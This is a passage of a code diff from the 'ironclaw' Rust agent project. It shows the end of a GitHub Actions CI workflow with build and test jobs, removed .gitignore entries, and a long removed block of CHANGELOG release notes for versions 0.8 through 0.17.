uses: dtolnay/rust-toolchain@stable
|
||||
with:
|
||||
targets: wasm32-wasip2
|
||||
- uses: Swatinem/rust-cache@v2
|
||||
with:
|
||||
key: ${{ matrix.name }}
|
||||
- name: Install cargo-component
|
||||
run: cargo install cargo-component --locked || true
|
||||
- name: Build WASM channels (for integration tests)
|
||||
run: ./scripts/build-wasm-extensions.sh --channels
|
||||
- name: Run Tests
|
||||
run: cargo test ${{ matrix.flags }} -- --nocapture
|
||||
|
||||
telegram-tests:
|
||||
name: Telegram Channel Tests
|
||||
if: >
|
||||
github.event_name != 'pull_request' ||
|
||||
github.base_ref != 'staging'
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v6
|
||||
- name: Install Rust
|
||||
uses: dtolnay/rust-toolchain@stable
|
||||
- uses: Swatinem/rust-cache@v2
|
||||
- name: Run Telegram Channel Tests
|
||||
run: cargo test --manifest-path channels-src/telegram/Cargo.toml -- --nocapture
|
||||
|
||||
windows-build:
|
||||
name: Windows Build (${{ matrix.name }})
|
||||
if: >
|
||||
github.event_name != 'pull_request' ||
|
||||
github.base_ref != 'staging'
|
||||
runs-on: windows-latest
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
include:
|
||||
- name: all-features
|
||||
flags: "--all-features"
|
||||
- name: default
|
||||
flags: ""
|
||||
- name: libsql-only
|
||||
flags: "--no-default-features --features libsql"
|
||||
steps:
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v6
|
||||
- name: Install Rust
|
||||
uses: dtolnay/rust-toolchain@stable
|
||||
- uses: Swatinem/rust-cache@v2
|
||||
with:
|
||||
key: windows-${{ matrix.name }}
|
||||
- name: Check compilation
|
||||
run: cargo check --all --benches --tests --examples ${{ matrix.flags }}
|
||||
|
||||
wasm-wit-compat:
|
||||
name: WASM WIT Compatibility
|
||||
if: >
|
||||
github.event_name != 'pull_request' ||
|
||||
github.base_ref != 'staging'
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v6
|
||||
- name: Install Rust
|
||||
uses: dtolnay/rust-toolchain@stable
|
||||
with:
|
||||
targets: wasm32-wasip2
|
||||
- uses: Swatinem/rust-cache@v2
|
||||
with:
|
||||
key: wasm-extensions
|
||||
- name: Install cargo-component
|
||||
run: cargo install cargo-component --locked || true
|
||||
- name: Build all WASM extensions against current WIT
|
||||
run: ./scripts/build-wasm-extensions.sh
|
||||
- name: Instantiation test (host linker compatibility)
|
||||
run: cargo test --all-features wit_compat -- --nocapture
|
||||
|
||||
docker-build:
|
||||
name: Docker Build
|
||||
if: >
|
||||
github.event_name != 'pull_request' ||
|
||||
github.base_ref != 'staging'
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v6
|
||||
- name: Build Docker image
|
||||
run: docker build -t ironclaw-test:ci .
|
||||
|
||||
version-check:
|
||||
name: Version Bump Check
|
||||
runs-on: ubuntu-latest
|
||||
if: github.event_name == 'pull_request'
|
||||
steps:
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v6
|
||||
with:
|
||||
fetch-depth: 0
|
||||
- name: Check version bumps for changed extensions
|
||||
env:
|
||||
PR_LABELS: ${{ join(github.event.pull_request.labels.*.name, ',') }}
|
||||
run: ./scripts/check-version-bumps.sh
|
||||
|
||||
# Roll-up job for branch protection
|
||||
run-tests:
|
||||
name: Run Tests
|
||||
runs-on: ubuntu-latest
|
||||
if: always()
|
||||
needs: [tests, telegram-tests, wasm-wit-compat, docker-build, windows-build, version-check]
|
||||
steps:
|
||||
- run: |
|
||||
# Unit tests must always pass
|
||||
if [[ "${{ needs.tests.result }}" != "success" ]]; then
|
||||
echo "Unit tests failed"
|
||||
exit 1
|
||||
fi
|
||||
# Gated jobs: must pass on promotion PRs / push, skipped on developer PRs
|
||||
for job in telegram-tests wasm-wit-compat docker-build windows-build version-check; do
|
||||
case "$job" in
|
||||
telegram-tests) result="${{ needs.telegram-tests.result }}" ;;
|
||||
wasm-wit-compat) result="${{ needs.wasm-wit-compat.result }}" ;;
|
||||
docker-build) result="${{ needs.docker-build.result }}" ;;
|
||||
windows-build) result="${{ needs.windows-build.result }}" ;;
|
||||
version-check) result="${{ needs.version-check.result }}" ;;
|
||||
esac
|
||||
if [[ "$result" == "failure" || "$result" == "cancelled" ]]; then
|
||||
echo "$job failed"
|
||||
exit 1
|
||||
fi
|
||||
done
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v6
|
||||
- name: Install Rust
|
||||
uses: dtolnay/rust-toolchain@stable
|
||||
with:
|
||||
profile: minimal
|
||||
- uses: Swatinem/rust-cache@v2
|
||||
- name: Run Tests
|
||||
run: cargo test --all-features -- --nocapture
|
||||
|
||||
-21
@@ -2,30 +2,9 @@
|
||||
.env
|
||||
.env.local
|
||||
.env.*
|
||||
!.env.example
|
||||
|
||||
# Claude Code worktrees and lock files
|
||||
.claude/worktrees/
|
||||
.claude/scheduled_tasks.lock
|
||||
|
||||
# Sidecar tool data
|
||||
.sidecar/
|
||||
.todos/
|
||||
|
||||
target/
|
||||
|
||||
# Benchmark results (local runs, not committed)
|
||||
bench-results/
|
||||
|
||||
# Coverage reports (local runs, not committed)
|
||||
/coverage/
|
||||
|
||||
# WASM build artifacts (loaded from disk, not bundled)
|
||||
*.wasm
|
||||
|
||||
# Traces
|
||||
trace_*.json
|
||||
|
||||
# Local Claude Code settings (machine-specific, should not be committed)
|
||||
.claude/settings.local.json
|
||||
.worktrees/
|
||||
|
||||
-449
@@ -7,455 +7,6 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
|
||||
|
||||
## [Unreleased]
|
||||
|
||||
## [0.17.0](https://github.com/nearai/ironclaw/compare/v0.16.1...v0.17.0) - 2026-03-10
|
||||
|
||||
### Added
|
||||
|
||||
- *(llm)* per-provider unsupported parameter filtering (#749, #728) ([#809](https://github.com/nearai/ironclaw/pull/809))
|
||||
- persist user_id in save_job and expose job_id on routine runs ([#709](https://github.com/nearai/ironclaw/pull/709))
|
||||
- *(ci)* chained promotion PRs with multi-agent Claude review ([#776](https://github.com/nearai/ironclaw/pull/776))
|
||||
- add background sandbox reaper for orphaned Docker containers ([#634](https://github.com/nearai/ironclaw/pull/634))
|
||||
- *(wasm)* lazy schema injection on WASM tool errors ([#638](https://github.com/nearai/ironclaw/pull/638))
|
||||
- add AWS Bedrock LLM provider via native Converse API ([#713](https://github.com/nearai/ironclaw/pull/713))
|
||||
- full image support across all channels ([#725](https://github.com/nearai/ironclaw/pull/725))
|
||||
- *(skills)* exclude_keywords veto in skill activation scoring ([#688](https://github.com/nearai/ironclaw/pull/688))
|
||||
- *(mcp)* transport abstraction, stdio/UDS transports, and OAuth fixes ([#721](https://github.com/nearai/ironclaw/pull/721))
|
||||
- add PID-based gateway lock to prevent multiple instances ([#717](https://github.com/nearai/ironclaw/pull/717))
|
||||
- configurable LLM request timeout via LLM_REQUEST_TIMEOUT_SECS ([#615](https://github.com/nearai/ironclaw/pull/615)) ([#630](https://github.com/nearai/ironclaw/pull/630))
|
||||
- *(timezone)* add timezone-aware session context ([#671](https://github.com/nearai/ironclaw/pull/671))
|
||||
- *(setup)* Anthropic OAuth onboarding with setup-token support ([#384](https://github.com/nearai/ironclaw/pull/384))
|
||||
- *(llm)* add Google Gemini, AWS Bedrock, io.net, Mistral, Yandex, and Cloudflare WS AI providers ([#676](https://github.com/nearai/ironclaw/pull/676))
|
||||
- unified thread model for web gateway ([#607](https://github.com/nearai/ironclaw/pull/607))
|
||||
- WASM channel attachments with LLM pipeline integration ([#596](https://github.com/nearai/ironclaw/pull/596))
|
||||
- enable Anthropic prompt caching via automatic cache_control injection ([#660](https://github.com/nearai/ironclaw/pull/660))
|
||||
- *(routines)* approval context for autonomous job execution ([#577](https://github.com/nearai/ironclaw/pull/577))
|
||||
- *(llm)* declarative provider registry ([#618](https://github.com/nearai/ironclaw/pull/618))
|
||||
- *(gateway)* show IronClaw version in status popover [skip-regression-check] ([#636](https://github.com/nearai/ironclaw/pull/636))
|
||||
- Wire memory hygiene retention policy into heartbeat loop ([#629](https://github.com/nearai/ironclaw/pull/629))
|
||||
|
||||
### Fixed
|
||||
|
||||
- *(ci)* run fmt + clippy on staging PRs, skip Windows clippy [skip-regression-check] ([#802](https://github.com/nearai/ironclaw/pull/802))
|
||||
- *(ci)* clean up staging pipeline — remove hacks, skip redundant checks [skip-regression-check] ([#794](https://github.com/nearai/ironclaw/pull/794))
|
||||
- *(ci)* secrets can't be used in step if conditions [skip-regression-check] ([#787](https://github.com/nearai/ironclaw/pull/787))
|
||||
- prevent irreversible context loss when compaction archive write fails ([#754](https://github.com/nearai/ironclaw/pull/754))
|
||||
- button styles ([#637](https://github.com/nearai/ironclaw/pull/637))
|
||||
- *(mcp)* JSON-RPC spec compliance — flexible id, correct notification format ([#685](https://github.com/nearai/ironclaw/pull/685))
|
||||
- preserve tool-call history across thread hydration ([#568](https://github.com/nearai/ironclaw/pull/568)) ([#670](https://github.com/nearai/ironclaw/pull/670))
|
||||
- CLI commands ignore runtime DATABASE_BACKEND when both features compiled ([#740](https://github.com/nearai/ironclaw/pull/740))
|
||||
- *(web)* prevent fetch error when hostname is an IP address in TEE check ([#672](https://github.com/nearai/ironclaw/pull/672))
|
||||
- add timezone conversion support to time tool ([#687](https://github.com/nearai/ironclaw/pull/687))
|
||||
- standardize libSQL timestamps as RFC 3339 UTC ([#683](https://github.com/nearai/ironclaw/pull/683))
|
||||
- *(docker)* bind postgres to localhost only ([#686](https://github.com/nearai/ironclaw/pull/686))
|
||||
- *(repl)* skip /quit on EOF when stdin is not a TTY ([#724](https://github.com/nearai/ironclaw/pull/724))
|
||||
- *(web)* prevent Enter key from sending message during IME composition ([#715](https://github.com/nearai/ironclaw/pull/715))
|
||||
- *(config)* init_secrets no longer overwrites entire config ([#726](https://github.com/nearai/ironclaw/pull/726))
|
||||
- *(cli)* status command ignores config.toml and settings.json ([#354](https://github.com/nearai/ironclaw/pull/354)) ([#734](https://github.com/nearai/ironclaw/pull/734))
|
||||
- *(setup)* preserve model name when re-running onboarding with same provider ([#600](https://github.com/nearai/ironclaw/pull/600)) ([#694](https://github.com/nearai/ironclaw/pull/694))
|
||||
- *(setup)* initialize secrets crypto for env-var security option ([#666](https://github.com/nearai/ironclaw/pull/666)) ([#706](https://github.com/nearai/ironclaw/pull/706))
|
||||
- persist /model selection across restarts ([#707](https://github.com/nearai/ironclaw/pull/707))
|
||||
- *(routines)* resolve message tool channel/target from per-job metadata ([#708](https://github.com/nearai/ironclaw/pull/708))
|
||||
- sanitize HTML error bodies from MCP servers to prevent web UI white screen ([#263](https://github.com/nearai/ironclaw/pull/263)) ([#656](https://github.com/nearai/ironclaw/pull/656))
|
||||
- prevent Instant duration overflow on Windows ([#657](https://github.com/nearai/ironclaw/pull/657)) ([#664](https://github.com/nearai/ironclaw/pull/664))
|
||||
- enable libsql remote + tls features for Turso cloud sync ([#587](https://github.com/nearai/ironclaw/pull/587))
|
||||
- *(tests)* replace hardcoded /tmp paths with tempdir + add 300 unit tests ([#659](https://github.com/nearai/ironclaw/pull/659))
|
||||
- *(llm)* nudge LLM when it expresses tool intent without calling tools ([#653](https://github.com/nearai/ironclaw/pull/653))
|
||||
- *(llm)* report zero cost for OpenRouter free-tier models ([#463](https://github.com/nearai/ironclaw/pull/463)) ([#613](https://github.com/nearai/ironclaw/pull/613))
|
||||
- reliable network tests and improved tool error messages ([#626](https://github.com/nearai/ironclaw/pull/626))
|
||||
- *(wasm)* use per-engine cache dirs on Windows to avoid file lock error ([#624](https://github.com/nearai/ironclaw/pull/624))
|
||||
- *(libsql)* support flexible embedding dimensions ([#534](https://github.com/nearai/ironclaw/pull/534))
|
||||
|
||||
### Other
|
||||
|
||||
- Restructure CLAUDE.md into modular rules + add pr-shepherd command ([#750](https://github.com/nearai/ironclaw/pull/750))
|
||||
- make src/llm/ self-contained for crate extraction ([#767](https://github.com/nearai/ironclaw/pull/767))
|
||||
- add simplified Chinese (zh-CN) README translation ([#488](https://github.com/nearai/ironclaw/pull/488))
|
||||
- *(job)* cover job tool validation and state transitions ([#681](https://github.com/nearai/ironclaw/pull/681))
|
||||
- *(agent)* wire TestRig job tools through the scheduler ([#716](https://github.com/nearai/ironclaw/pull/716))
|
||||
- Fix single-message mode to exit after one turn when background channels are enabled ([#719](https://github.com/nearai/ironclaw/pull/719))
|
||||
- remove dead code ([#648](https://github.com/nearai/ironclaw/pull/648)) ([#703](https://github.com/nearai/ironclaw/pull/703))
|
||||
- add reviewer-feedback guardrails (CLAUDE.md, pre-commit hook, skill) ([#665](https://github.com/nearai/ironclaw/pull/665))
|
||||
- update WASM artifact SHA256 checksums [skip ci] ([#631](https://github.com/nearai/ironclaw/pull/631))
|
||||
- add explanatory comments to coverage workflow ([#610](https://github.com/nearai/ironclaw/pull/610))
|
||||
- build system prompt once per turn, skip tools on force-text ([#583](https://github.com/nearai/ironclaw/pull/583))
|
||||
- add comprehensive subdirectory CLAUDE.md files and update root ([#589](https://github.com/nearai/ironclaw/pull/589))
|
||||
- Improve test infrastructure: StubChannel, gateway helpers, security tests, search edge cases ([#623](https://github.com/nearai/ironclaw/pull/623))
|
||||
- *(workspace)* regression test for document_path in search results ([#509](https://github.com/nearai/ironclaw/pull/509))
|
||||
|
||||
### Added
|
||||
|
||||
- AWS Bedrock LLM provider via native Converse API with IAM and SSO auth support (feature-gated: `--features bedrock`)
|
||||
|
||||
## [0.16.1](https://github.com/nearai/ironclaw/compare/v0.16.0...v0.16.1) - 2026-03-06
|
||||
|
||||
### Fixed
|
||||
|
||||
- revert WASM artifact SHA256 checksums to null ([#627](https://github.com/nearai/ironclaw/pull/627))
|
||||
|
||||
## [0.16.0](https://github.com/nearai/ironclaw/compare/v0.15.0...v0.16.0) - 2026-03-06
|
||||
|
||||
### Added
|
||||
|
||||
- *(e2e)* extensions tab tests, CI parallelization, and 3 production bug fixes ([#584](https://github.com/nearai/ironclaw/pull/584))
|
||||
- WASM extension versioning with WIT compat checks ([#592](https://github.com/nearai/ironclaw/pull/592))
|
||||
- Add HMAC-SHA256 webhook signature validation for Slack ([#588](https://github.com/nearai/ironclaw/pull/588))
|
||||
- restart ([#531](https://github.com/nearai/ironclaw/pull/531))
|
||||
- merge http/web_fetch tools, add tool output stash for large responses ([#578](https://github.com/nearai/ironclaw/pull/578))
|
||||
- integrate 13-dimension complexity scorer into smart routing ([#529](https://github.com/nearai/ironclaw/pull/529))
|
||||
|
||||
### Fixed
|
||||
|
||||
- *(llm)* fix reasoning model response parsing bugs ([#564](https://github.com/nearai/ironclaw/pull/564)) ([#580](https://github.com/nearai/ironclaw/pull/580))
|
||||
- *(ci)* fix three coverage workflow failures ([#597](https://github.com/nearai/ironclaw/pull/597))
|
||||
- Telegram channel accepts group messages from all users if owner_… ([#590](https://github.com/nearai/ironclaw/pull/590))
|
||||
- *(ci)* anchor coverage/ gitignore rule to repo root ([#591](https://github.com/nearai/ironclaw/pull/591))
|
||||
- *(security)* use OsRng for all security-critical key and token generation ([#519](https://github.com/nearai/ironclaw/pull/519))
|
||||
- prevent concurrent memory hygiene passes and Windows file lock errors ([#535](https://github.com/nearai/ironclaw/pull/535))
|
||||
- sort tool_definitions() for deterministic LLM tool ordering ([#582](https://github.com/nearai/ironclaw/pull/582))
|
||||
- *(ci)* persist all cargo-llvm-cov env vars for E2E coverage ([#559](https://github.com/nearai/ironclaw/pull/559))
|
||||
|
||||
### Other
|
||||
|
||||
- *(llm)* complete response cache — set_model invalidation, stats logging, sync mutex ([#290](https://github.com/nearai/ironclaw/pull/290))
|
||||
- add 29 E2E trace tests for issues #571-575 ([#593](https://github.com/nearai/ironclaw/pull/593))
|
||||
- add 26 tests for multi-thread safety, db CRUD, concurrency, errors ([#442](https://github.com/nearai/ironclaw/pull/442))
|
||||
- update WASM artifact SHA256 checksums [skip ci] ([#560](https://github.com/nearai/ironclaw/pull/560))
|
||||
- add WIT compatibility tests for WASM extensions ([#586](https://github.com/nearai/ironclaw/pull/586))
|
||||
- Trajectory benchmarks and e2e trace test rig ([#553](https://github.com/nearai/ironclaw/pull/553))
|
||||
|
||||
## [0.15.0](https://github.com/nearai/ironclaw/compare/v0.14.0...v0.15.0) - 2026-03-04
|
||||
|
||||
### Added
|
||||
|
||||
- *(oauth)* route callbacks through web gateway for hosted instances ([#555](https://github.com/nearai/ironclaw/pull/555))
|
||||
- *(web)* show error details for failed tool calls ([#490](https://github.com/nearai/ironclaw/pull/490))
|
||||
- *(extensions)* improve auth UX and add load-time validation ([#536](https://github.com/nearai/ironclaw/pull/536))
|
||||
- add local-test skill and Dockerfile.test for web gateway testing ([#524](https://github.com/nearai/ironclaw/pull/524))
|
||||
|
||||
### Fixed
|
||||
|
||||
- *(security)* restrict query-token auth to SSE endpoints only ([#528](https://github.com/nearai/ironclaw/pull/528))
|
||||
- *(ci)* flush profraw coverage data in E2E teardown ([#550](https://github.com/nearai/ironclaw/pull/550))
|
||||
- *(wasm)* coerce string parameters to schema-declared types ([#498](https://github.com/nearai/ironclaw/pull/498))
|
||||
- *(agent)* strip leaked [Called tool ...] text from responses ([#497](https://github.com/nearai/ironclaw/pull/497))
|
||||
- *(web)* reset job list UI on restart failure ([#499](https://github.com/nearai/ironclaw/pull/499))
|
||||
- *(security)* replace .unwrap() panics in pairing store with proper error handling ([#515](https://github.com/nearai/ironclaw/pull/515))
|
||||
|
||||
### Other
|
||||
|
||||
- Fix UTF-8 unsafe truncation in sandbox log capture ([#359](https://github.com/nearai/ironclaw/pull/359))
|
||||
- enhance coverage with feature matrix, postgres, and E2E ([#523](https://github.com/nearai/ironclaw/pull/523))
|
||||
|
||||
## [0.14.0](https://github.com/nearai/ironclaw/compare/v0.13.1...v0.14.0) - 2026-03-04
|
||||
|
||||
### Added
|
||||
|
||||
- remove the okta tool ([#506](https://github.com/nearai/ironclaw/pull/506))
|
||||
- add OAuth support for WASM tools in web gateway ([#489](https://github.com/nearai/ironclaw/pull/489))
|
||||
- *(web)* fix jobs UI parity for non-sandbox mode ([#491](https://github.com/nearai/ironclaw/pull/491))
|
||||
- *(workspace)* add TOOLS.md, BOOTSTRAP.md, and disk-to-DB import ([#477](https://github.com/nearai/ironclaw/pull/477))
|
||||
|
||||
### Fixed
|
||||
|
||||
- *(web)* mobile browser bar obscures chat input ([#508](https://github.com/nearai/ironclaw/pull/508))
|
||||
- *(web)* assign unique thread_id to manual routine triggers ([#500](https://github.com/nearai/ironclaw/pull/500))
|
||||
- *(web)* refresh routine UI after Run Now trigger ([#501](https://github.com/nearai/ironclaw/pull/501))
|
||||
- *(skills)* use slug for skill download URL from ClawHub ([#502](https://github.com/nearai/ironclaw/pull/502))
|
||||
- *(workspace)* thread document path through search results ([#503](https://github.com/nearai/ironclaw/pull/503))
|
||||
- *(workspace)* import custom templates before seeding defaults ([#505](https://github.com/nearai/ironclaw/pull/505))
|
||||
- use std::sync::RwLock in MessageTool to avoid runtime panic ([#411](https://github.com/nearai/ironclaw/pull/411))
|
||||
- wire secrets store into all WASM runtime activation paths ([#479](https://github.com/nearai/ironclaw/pull/479))
|
||||
|
||||
### Other
|
||||
|
||||
- enforce regression tests for fix commits ([#517](https://github.com/nearai/ironclaw/pull/517))
|
||||
- add code coverage with cargo-llvm-cov and Codecov ([#511](https://github.com/nearai/ironclaw/pull/511))
|
||||
- Remove restart infrastructure, generalize WASM channel setup ([#493](https://github.com/nearai/ironclaw/pull/493))
|
||||
|
||||
## [0.13.1](https://github.com/nearai/ironclaw/compare/v0.13.0...v0.13.1) - 2026-03-02
|
||||
|
||||
### Added
|
||||
|
||||
- add Brave Web Search WASM tool ([#474](https://github.com/nearai/ironclaw/pull/474))
|
||||
|
||||
### Fixed
|
||||
|
||||
- *(web)* auto-scroll and Enter key completion for slash command autocomplete ([#475](https://github.com/nearai/ironclaw/pull/475))
|
||||
- correct download URLs for telegram-mtproto and slack-tool extensions ([#470](https://github.com/nearai/ironclaw/pull/470))
|
||||
|
||||
## [0.13.0](https://github.com/nearai/ironclaw/compare/v0.12.0...v0.13.0) - 2026-03-02
|
||||
|
||||
### Added
|
||||
|
||||
- *(cli)* add tool setup command + GitHub setup schema ([#438](https://github.com/nearai/ironclaw/pull/438))
|
||||
- add web_fetch built-in tool ([#435](https://github.com/nearai/ironclaw/pull/435))
|
||||
- *(web)* DB-backed Jobs tab + scheduler-dispatched local jobs ([#436](https://github.com/nearai/ironclaw/pull/436))
|
||||
- *(extensions)* add OAuth setup UI for WASM tools + display name labels ([#437](https://github.com/nearai/ironclaw/pull/437))
|
||||
- *(bootstrap)* auto-detect libsql when ironclaw.db exists ([#399](https://github.com/nearai/ironclaw/pull/399))
|
||||
- *(web)* slash command autocomplete + /status /list + fix chat input locking ([#404](https://github.com/nearai/ironclaw/pull/404))
|
||||
- *(routines)* deliver notifications to all installed channels ([#398](https://github.com/nearai/ironclaw/pull/398))
|
||||
- *(web)* persist tool calls, restore approvals on thread switch, and UI fixes ([#382](https://github.com/nearai/ironclaw/pull/382))
|
||||
- add IRONCLAW_BASE_DIR env var with LazyLock caching ([#397](https://github.com/nearai/ironclaw/pull/397))
|
||||
- feat(signal) attachment upload + message tool ([#375](https://github.com/nearai/ironclaw/pull/375))
|
||||
|
||||
### Fixed
|
||||
|
||||
- *(channels)* add host-based credential injection to WASM channel wrapper ([#421](https://github.com/nearai/ironclaw/pull/421))
|
||||
- pre-validate Cloudflare tunnel token by spawning cloudflared ([#446](https://github.com/nearai/ironclaw/pull/446))
|
||||
- batch of quick fixes (#417, #338, #330, #358, #419, #344) ([#428](https://github.com/nearai/ironclaw/pull/428))
|
||||
- persist channel activation state across restarts ([#432](https://github.com/nearai/ironclaw/pull/432))
|
||||
- init WASM runtime eagerly regardless of tools directory existence ([#401](https://github.com/nearai/ironclaw/pull/401))
|
||||
- add TLS support for PostgreSQL connections ([#363](https://github.com/nearai/ironclaw/pull/363)) ([#427](https://github.com/nearai/ironclaw/pull/427))
|
||||
- scan inbound messages for leaked secrets ([#433](https://github.com/nearai/ironclaw/pull/433))
|
||||
- use tailscale funnel --bg for proper tunnel setup ([#430](https://github.com/nearai/ironclaw/pull/430))
|
||||
- normalize secret names to lowercase for case-insensitive matching ([#413](https://github.com/nearai/ironclaw/pull/413)) ([#431](https://github.com/nearai/ironclaw/pull/431))
|
||||
- persist model name to .env so dotted names survive restart ([#426](https://github.com/nearai/ironclaw/pull/426))
|
||||
- *(setup)* check cloudflared binary and validate tunnel token ([#424](https://github.com/nearai/ironclaw/pull/424))
|
||||
- *(setup)* validate PostgreSQL version and pgvector availability before migrations ([#423](https://github.com/nearai/ironclaw/pull/423))
|
||||
- guard zsh compdef call to prevent error before compinit ([#422](https://github.com/nearai/ironclaw/pull/422))
|
||||
- *(telegram)* remove restart button, validate token on setup ([#434](https://github.com/nearai/ironclaw/pull/434))
|
||||
- web UI routines tab shows all routines regardless of creating channel ([#391](https://github.com/nearai/ironclaw/pull/391))
|
||||
- Discord Ed25519 signature verification and capabilities header alias ([#148](https://github.com/nearai/ironclaw/pull/148)) ([#372](https://github.com/nearai/ironclaw/pull/372))
|
||||
- prevent duplicate WASM channel activation on startup ([#390](https://github.com/nearai/ironclaw/pull/390))
|
||||
|
||||
### Other
|
||||
|
||||
- rename WasmBuildable::repo_url to source_dir ([#445](https://github.com/nearai/ironclaw/pull/445))
|
||||
- Improve --help: add detailed about/examples/color, snapshot test (clo… ([#371](https://github.com/nearai/ironclaw/pull/371))
|
||||
- Add automated QA: schema validator, CI matrix, Docker build, and P1 test coverage ([#353](https://github.com/nearai/ironclaw/pull/353))
|
||||
|
||||
## [0.12.0](https://github.com/nearai/ironclaw/compare/v0.11.1...v0.12.0) - 2026-02-26
|
||||
|
||||
### Added
|
||||
|
||||
- *(web)* improve WASM channel setup flow ([#380](https://github.com/nearai/ironclaw/pull/380))
|
||||
- *(web)* inline tool activity cards with auto-collapsing ([#376](https://github.com/nearai/ironclaw/pull/376))
|
||||
- *(web)* display logs newest-first in web gateway UI ([#369](https://github.com/nearai/ironclaw/pull/369))
|
||||
- *(signal)* tool approval workflow and status updates ([#350](https://github.com/nearai/ironclaw/pull/350))
|
||||
- add OpenRouter preset to setup wizard ([#270](https://github.com/nearai/ironclaw/pull/270))
|
||||
- *(channels)* add native Signal channel via signal-cli HTTP daemon ([#271](https://github.com/nearai/ironclaw/pull/271))
|
||||
|
||||
### Fixed
|
||||
|
||||
- correct MCP registry URLs and remove non-existent Google endpoints ([#370](https://github.com/nearai/ironclaw/pull/370))
|
||||
- resolve_thread adopts existing session threads by UUID ([#377](https://github.com/nearai/ironclaw/pull/377))
|
||||
- resolve telegram/slack name collision between tool and channel registries ([#346](https://github.com/nearai/ironclaw/pull/346))
|
||||
- make onboarding installs prefer release artifacts with source fallback ([#323](https://github.com/nearai/ironclaw/pull/323))
|
||||
- copy missing files in Dockerfile to fix build ([#322](https://github.com/nearai/ironclaw/pull/322))
|
||||
- fall back to build-from-source when extension download fails ([#312](https://github.com/nearai/ironclaw/pull/312))
|
||||
|
||||
### Other
|
||||
|
||||
- Add --version flag with clap built-in support and test ([#342](https://github.com/nearai/ironclaw/pull/342))
|
||||
- Update FEATURE_PARITY.md ([#337](https://github.com/nearai/ironclaw/pull/337))
|
||||
- add brew install ironclaw instructions ([#310](https://github.com/nearai/ironclaw/pull/310))
|
||||
- Fix skills system: enable by default, fix registry and install ([#300](https://github.com/nearai/ironclaw/pull/300))
|
||||
|
||||
## [0.11.1](https://github.com/nearai/ironclaw/compare/v0.11.0...v0.11.1) - 2026-02-23
|
||||
|
||||
### Other
|
||||
|
||||
- Ignore out-of-date generated CI so custom release.yml jobs are allowed
|
||||
|
||||
## [0.11.0](https://github.com/nearai/ironclaw/compare/v0.10.0...v0.11.0) - 2026-02-23
|
||||
|
||||
### Fixed
|
||||
|
||||
- auto-compact and retry on ContextLengthExceeded ([#315](https://github.com/nearai/ironclaw/pull/315))
|
||||
|
||||
### Other
|
||||
|
||||
- *(README)* Adding badges to readme ([#316](https://github.com/nearai/ironclaw/pull/316))
|
||||
- Feat/completion ([#240](https://github.com/nearai/ironclaw/pull/240))
|
||||
|
||||
## [0.10.0](https://github.com/nearai/ironclaw/compare/v0.9.0...v0.10.0) - 2026-02-22
|
||||
|
||||
### Added
|
||||
|
||||
- update dashboard favicon ([#309](https://github.com/nearai/ironclaw/pull/309))
|
||||
- add web UI test skill for Chrome extension ([#302](https://github.com/nearai/ironclaw/pull/302))
|
||||
- implement FullJob routine mode with scheduler dispatch ([#288](https://github.com/nearai/ironclaw/pull/288))
|
||||
- hot-activate WASM channels, channel-first prompts, unified artifact resolution ([#297](https://github.com/nearai/ironclaw/pull/297))
|
||||
- add pairing/permission system to all WASM channels and fix extension registry ([#286](https://github.com/nearai/ironclaw/pull/286))
|
||||
- group chat privacy, channel-aware prompts, and safety hardening ([#285](https://github.com/nearai/ironclaw/pull/285))
|
||||
- embedded registry catalog and WASM bundle install pipeline ([#283](https://github.com/nearai/ironclaw/pull/283))
|
||||
- show token usage and cost tracker in gateway status popover ([#284](https://github.com/nearai/ironclaw/pull/284))
|
||||
- support custom HTTP headers for OpenAI-compatible provider ([#269](https://github.com/nearai/ironclaw/pull/269))
|
||||
- add smart routing provider for cost-optimized model selection ([#281](https://github.com/nearai/ironclaw/pull/281))
|
||||
|
||||
### Fixed
|
||||
|
||||
- persist user message at turn start before agentic loop ([#305](https://github.com/nearai/ironclaw/pull/305))
|
||||
- block send until thread is selected ([#306](https://github.com/nearai/ironclaw/pull/306))
|
||||
- reload chat history on SSE reconnect ([#307](https://github.com/nearai/ironclaw/pull/307))
|
||||
- map Esc to interrupt and Ctrl+C to graceful quit ([#267](https://github.com/nearai/ironclaw/pull/267))
|
||||
|
||||
### Other
|
||||
|
||||
- Fix tool schema OpenAI compatibility ([#301](https://github.com/nearai/ironclaw/pull/301))
|
||||
- simplify config resolution and consolidate main.rs init ([#287](https://github.com/nearai/ironclaw/pull/287))
|
||||
- Update image source in README.md
|
||||
- Add files via upload
|
||||
- remove ExtensionSource::Bundled, use download-only install for WASM channels ([#293](https://github.com/nearai/ironclaw/pull/293))
|
||||
- allow OAuth callback to work on remote servers (fixes #186) ([#212](https://github.com/nearai/ironclaw/pull/212))
|
||||
- add rate limiting for built-in tools (closes #171) ([#276](https://github.com/nearai/ironclaw/pull/276))
|
||||
- add LLM providers guide (OpenRouter, Together AI, Fireworks, Ollama, vLLM) ([#193](https://github.com/nearai/ironclaw/pull/193))
|
||||
- Feat/html to markdown #106 ([#115](https://github.com/nearai/ironclaw/pull/115))
|
||||
- adopt agent-market design language for web UI ([#282](https://github.com/nearai/ironclaw/pull/282))
|
||||
- speed up startup from ~15s to ~2s ([#280](https://github.com/nearai/ironclaw/pull/280))
|
||||
- consolidate tool approval into single param-aware method ([#274](https://github.com/nearai/ironclaw/pull/274))
|
||||
|
||||
## [0.9.0](https://github.com/nearai/ironclaw/compare/v0.8.0...v0.9.0) - 2026-02-21
|
||||
|
||||
### Added
|
||||
|
||||
- add TEE attestation shield to web gateway UI ([#275](https://github.com/nearai/ironclaw/pull/275))
|
||||
- configurable tool iterations, auto-approve, and policy fix ([#251](https://github.com/nearai/ironclaw/pull/251))
|
||||
|
||||
### Fixed
|
||||
|
||||
- add X-Accel-Buffering header to SSE endpoints ([#277](https://github.com/nearai/ironclaw/pull/277))
|
||||
|
||||
## [0.8.0](https://github.com/nearai/ironclaw/compare/ironclaw-v0.7.0...ironclaw-v0.8.0) - 2026-02-20
|
||||
|
||||
### Added
|
||||
|
||||
